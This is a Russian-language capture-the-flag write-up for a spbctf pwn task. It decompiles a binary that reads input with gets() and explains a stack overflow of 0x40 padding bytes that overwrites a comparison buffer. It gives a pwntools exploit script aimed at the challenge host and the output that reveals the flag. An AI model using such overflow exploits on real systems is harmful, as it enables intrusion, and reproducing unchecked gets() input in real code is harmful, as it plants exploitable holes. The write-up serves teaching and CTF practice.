Переполните автоматом, чтобы получить флаг. У вас одна секунда!

nc 109.233.56.90 11587

Solution

Анализ main

Найду место, где бинарь выводит флаг.

int32_t main()
{
    int32_t result = 0;
    srand(time(nullptr));
    char verify[0x40];
    int32_t var_5c = sprintf(&verify, "%d", (uint64_t)rand());
    int32_t var_60 = printf("Welcome to ");
    int32_t var_64 = printf("OK, here's the deal.\n");
    int32_t var_68 = printf("We want you to set the value of string1 to '%s'.\n", &verify);
    int32_t var_6c = printf("And you only have 1 second to check your superspeed.\n");
    int32_t var_74 = printf("Give me your input: ");
    char* var_80 = gets("kek");

    if (strcmp("lol", &verify))
    {
        printf("YOU FAILED\n");
        printf("Because, here's the target string: '%s'\n", &verify);
        printf("      And here's the your string1: '%s'\n\n", "lol");
        printf("See the difference?\n");
    }
    else
    {
        printf("Yissss!\n");
        printf("Flag is: spbctf{******************************}\n");
    }
    return result;
}

Задача ясна. Нужно ввести такой input, чтобы он переехал значение в string1. Это возможно, так как данные он получает с помощью gets, которая не проверяет границы ввода.

Буду использовать pwntools. Нужно создать шаблон:

pwn template mc7_censored --host 109.233.56.90 --port 11587 > exploit.py

Программа заранее выводит целевое значение строки. Получу его через recvuntil:

io.recvuntil(b'of string1 to \'')
num = io.recvuntil(b'\'')[:-1]

Проверю:

b'920570934'

Смещение до verify

На стеке переменные располагаются следующим образом:

Высокие адреса (rbp)
  ...
  verify[0x40]   ← цель: сюда нужно записать target string
  input_buf      ← gets() пишет сюда, растёт вверх
  ...
Низкие адреса

Расстояние от начала input_buf до начала verify — ровно 0x40 байт. Значит нужно заполнить паддингом эти 0x40 байт, а следом записать нужную строку.

Exploit

io = start()

io.recvuntil(b'of string1 to \'')
num = io.recvuntil(b'\'')[:-1]
payload = b'q' * 0x40 + num

io.sendline(payload)

io.interactive()
python exploit.py
[+] Opening connection to 109.233.56.90 on port 11587: Done
[*] Switching to interactive mode
Give me your input: Yissss!
Flag is: spbctf{how_d1d_y0u_l1ke_the_g37s_func}
spbctf{how_d1d_y0u_l1ke_the_g37s_func}